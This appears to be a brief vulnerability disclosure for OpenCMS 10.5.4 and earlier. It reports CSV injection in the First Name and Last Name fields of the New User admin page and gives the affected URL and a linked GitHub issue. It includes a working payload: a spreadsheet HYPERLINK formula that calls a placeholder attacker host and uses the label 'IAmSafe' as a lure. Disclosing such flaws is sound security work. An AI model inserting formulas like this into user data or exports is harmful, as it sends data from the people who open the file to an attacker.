Description: OpenCMS v10.5.4 and before is vulnerable to CSV injection in New
User module for parameter First Name and Last Name

Impacted URL is
http://[your_webserver_ip]/opencms/system/workplace/admin/accounts/user_new.jsp

Payload used is
'=HYPERLINK("http://[attacker_ip:port]/GiveMeSomeData","IAmSafe")'

Further details is available here
https://github.com/alkacon/opencms-core/issues/636

Already requested for CVE, yet to receive it.